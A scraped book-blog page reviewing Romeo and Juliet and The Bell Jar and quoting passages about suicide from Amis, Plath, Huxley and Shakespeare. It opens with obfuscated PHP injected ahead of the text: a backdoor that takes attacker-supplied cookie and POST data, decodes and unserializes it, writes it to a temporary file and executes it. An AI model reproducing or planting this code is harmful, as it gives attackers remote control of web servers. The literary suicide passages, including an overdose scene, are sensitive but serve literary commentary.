$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Suicide – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Suicide

“Should the earth enter turnaround tomorrow, nuke out, commit suicide, then we’ll already have our suicide notes, pain notes, dolour bills—money is freedom. That’s true. But freedom is money. You still need money.”

—from Money: A Suicide Note by Martin Amis

“Money is the only thing we have in common. Dollar bills, pound notes, they’re just suicide notes. Money is a suicide note.”

—from Money: A Suicide Note by Martin Amis

“In the planetary aggregate of all life, there are many more suicide notes than there are suicides. They’re like poems in that respect, suicide notes: nearly everyone tries their hand at them at some time, with or without the talent. We all write them in our heads.”

—from Money: A Suicide Note by Martin Amis

Missing From the List: Romeo and Juliet

Welcome back, class.

I’ve been back and forth on this one—there have been times when I couldn’t stand this play. But no matter if I like it or not, this Romeo and Juliet really deserves to be read by everyone, if only for the lesson it teaches—don’t let yourself be carried away by the passions of youth. That’s absolutely why we all read it in high school: so that our English teachers could remind us not to throw our lives away on “young love” and hurt others in the process.

Thankfully, the story is more than that—it is Shakespeare, after all.


It’s a story old as time—two teenagers, Romeo Montague and Juliet Capulet, become instantly infatuated with each other at first sight, even though their families are involved in an ongoing feud. They decide to get married, and in a complicated plot to get their families to stop fighting, Romeo kills a man and is banished, Juliet pretends to die to get away from her family, Romeo thinks Juliet is really dead and kills himself, and Juliet kills herself shortly after. Tragedy abounds.

People like to call Romeo and Juliet the greatest love story of all time, but the main characters are senseless, hasty, and melodramatic in their so-called love. It is an infatuation between two teenagers, built on feelings alone—not dependability, companionship, compatibility, rationality, or forethought.

Shakespeare makes them sound much less one-dimensional than my analysis, so the story is much better than that. His writing throughout Romeo and Juliet is romantic and beautiful, which helped Romeo and Juliet stand the test of time. But I also bet Shakespeare new exactly how dumb his main characters were, as they took their own lives for each other for the sake of what looked like love, but was actually a crush.


A Portrait of William Shakespeare

Shakespeare also gives his main characters a little credit when it comes to their families, which are pure chaos. The Montagues and Capulets are little more than rival gangs (hence the adaptation with a twist, the musical West Side Story), and they give Romeo and Juliet little choice but to marry in secret. Even the Friar that marries them has an ulterior motive—to unite the families through this marriage, end the feud, and stop the constant violence in the streets. The lesson to learn from Romeo and Juliet isn’t just for the children, but for the rest of the Montagues and Capulets that let passion guide their hearts towards violence.

That lesson—don’t let passion carry you away, for the sake of love, violence, etc.—is important in its own right, but I’ll admit it can diminish the story too. It’s easy to talk about Romeo and Juliet now, having read it almost 10 years ago, but no matter how much I made fun of it or hated reading it, it was one of the first real tragedies I’d ever read. The two main characters are partly at fault for their fate, but so are their families. This is a story about two people who committed suicide when there were so many other options available . . . all because they had dedicated their lives to a person they had known for less than a week. It’s infuriating and depressing, and a careful reminder of how far our reckless hearts can force us to go. In some twisted, backwards, cynical way, I think that makes Romeo and Juliet required reading for everyone.


Claire Danes and Leonardo DiCaprio in Romeo + Juliet (1996)

But if that’s not a good enough reason for you, I’ve got at least one more—Romeo and Juliet is everywhere. There are references to it in so many books, movies, TV shows, short stories, and poems that everyone deserves the chance to read it just to pick up on the subtleties of half of all art. Since teenagers with crushes is one of the most universal human stories in history, it’s applicable in every medium. On the list of the 50 Books alone, Romeo and Juliet is featured in one major form or another in Wuthering HeightsThe Great GatsbyBrave New WorldThe Way We Live NowHuckleberry Finn . . . just to name a few. Romeo and Juliet pervaded the cultural landscape and staked it’s claim on teenagers with feelings, and everything that came after is a reflection of the original Shakespeare.

All in all, I may not like Romeo and Juliet all that much, but that makes it no less important. It deserves to be on the list of 50 Books to Read Before You Die, and there are several books worth kicking off to make room.


I’m finishing up Sebastian Faulks’ Birdsong, which I’ll write about next. Romeo and Juliet may be a better “love story,” but Birdsong is, in its way, a better story about love. There isn’t as much warning against runaway passion, but Birdsong seems more dedicated to the idea of love bringing people together, even in ways society looks down upon. Had Romeo and Juliet been stronger characters, it’s possible their long lives would have looked like the tortured lovers’ lives of Birdsong—but I’m getting ahead of myself. More on Birdsong next time.

Until then,

Prof. Jeffrey

The Bell Jar

Good morning class.

If The Bell Jar is any indication as to what Sylvia Plath’s life was like, she was surrounded by tragedy. She wasn’t a typical tortured artist, if there is such a thing—I imagine that her art would have thrived fantastically without her mental illness. As it is, I believe her art thrived in spite of her troubled mind, not because of it. Even in my own limited experience with mental illness, I’ve never seen psychological turmoil as a gateway to impactful creativity . . . I only see it as a hindrance.

That might be reason enough to read The Bell Jar, which subverts misconceptions about mental illness, women, and the American dream without hesitation. Plath holds nothing back, and it’s painful, powerful reading.


The story follows Esther Greenwood, a young woman with a bright future who begins to suffer from depression. At first it’s mild—inconvenient distresses that affect her life here and there—but it develops into suicidal thoughts and actions. One almost-forgettable moment stands out to me: she sleeps in one morning, innocently enough, because she feels like there’s nothing to look forward to if she gets up. The light from the window shines in, but she buries herself in her sheets and under her pillow, back into the darkness. It’s subtle, but it’s a clear sign of her illness affecting her every moment.

After a suicide attempt, Esther is committed to an institution, where she goes through medication and shock therapy. She describes her condition as being trapped under a bell jar, breathing in the same toxic air every moment of every day, no matter where she is or who she’s with—the bell jar is always there.

The extra layer of her struggle is being a woman in 1950’s America. She goes on dates with men of differing levels of ingrained misogyny. She sees other women around her as reflections of her two extreme options—the perfect do-good lady and the rule-breaker—and only she seems to belong in between. Several people, including her mother, pressure her towards finding a man, settling down, beginning a family . . . and everyone cautions her against sex before marriage, despite the obvious double standard. Esther’s life seems to be one hardship after another, and the 1950’s do her no favors.


Author Sylvia Plath

The Bell Jar is not light reading. Several times, over multiple chapters, Esther does more than consider suicide in a passing thought. She analyzes the best way to kill herself, and goes through the motions before being interrupted or facing an insurmountable obstacle. At one point, she remarks that her body has “little tricks” that keep her from killing herself, like an internal instinct she has no say over—but if she had the whole say, she’d be dead already. When she actually conquers this instinct, the suicide attempt portrayed on the page is simple and disturbing.

But as graphic as The Bell Jar can be, that’s not the reason to read it—the reason to read it is because of what Plath gets right in the details. The subtleties of depression are portrayed with honesty, and with no grand presentation. To read The Bell Jar is to get a nuanced depiction of a troubled mind.


Next up, I’m reading The Diary of Anne Frank—similarly not-light reading. But I’m excited because I know that it’s no portrayal; her diary, her actual thoughts, convey her life as a young woman in a strange kind of captivity. Her diary did as much for understanding young women as The Bell Jar did, if not more. It’s also not a graphic portrayal of a tragedy; it’s the ups and downs of her life, come as they may, and it’s even more honest than The Bell Jar could hope to be.

But more on that next time.

Prof. Jeffrey

“Wrapping my black coat round me like my own sweet shadow, I unscrewed the bottle of pills and started taking them swiftly between gulps of water, one by one by one.

At first nothing happened, but as I approached the bottom of the bottle, red and blue lights began to flash before my eyes. The bottle slid from my fingers and I lay down.

The silence drew off, baring the pebbles and shells and all the tatty wreckage of my life. Then, at the rim of vision, it gathered itself, and in one sweeping tide, rushed me to sleep.

. . .

It was completely dark.

I felt the darkness, but nothing else, and my head rose, feeling it, like the head of a worm. Someone was moaning. Then a great, hard weight smashed against my cheek like a stone wall and the moaning stopped.

The silence surged back, smoothing itself as black water smooths to its old surface calm over a dropped stone.

A cool wind rushed by. I was being transported at enormous speed down a tunnel into the earth. Then the wind stopped. There was a rumbling, as of many voices, protesting and disagreeing in the distance. Then the voices stopped.

A chisel cracked down on my eye, and a slit of light opened, like a mouth or a wound, till the darkness clamped shut on it again. I tried to roll away from the direction of the light, but hands wrapped round my limbs like mummy hands, and I couldn’t move.

I began to think I was in an underground chamber, lit by blinding lights, and that the chamber was full of people who for some reason were holding me down. Then the chisel struck again, and the light leapt into my head, and through the thick, warm, furry dark, a voice cried,

“Mother!”

—from The Bell Jar by Sylvia Plath

“All alone, outside the pueblo, on the bare plain of the mesa. The rock was like bleached bones in the moonlight. Down in the valley, the coyotes were howling at the moon. The bruises hurt him, the cuts were still bleeding; but it was not for pain that he sobbed; it was because he was all alone, because he had been driven out, alone, into this skeleton world of rocks and moonlight. At the edge of the precipice he sat down. The moon was behind him; he looked down into the black shadow of the mesa, into the black shadow of death. He had only to take one step, one little jump. . . . He held out his right hand in the moonlight. From the cut on his wrist the blood was still oozing. Every few seconds a drop fell, dark, almost colourless in the dead light. Drop, drop, drop. To-morrow and to-morrow and to-morrow . . .

He had discovered Time and Death and God.”

—from Brave New World by Aldous Huxley

Hamlet: O, that this too, too sullied flesh would melt,

Thaw, and resolve itself into a dew,

Or that the Everlasting had not fixed

His canon ‘gainst self-slaughter! O God, God,

How weary, stale, flat and unprofitable

Seem to me all the uses of this world!

–from Hamlet, Act 1, Scene 2, lines 133-138 by William Shakespeare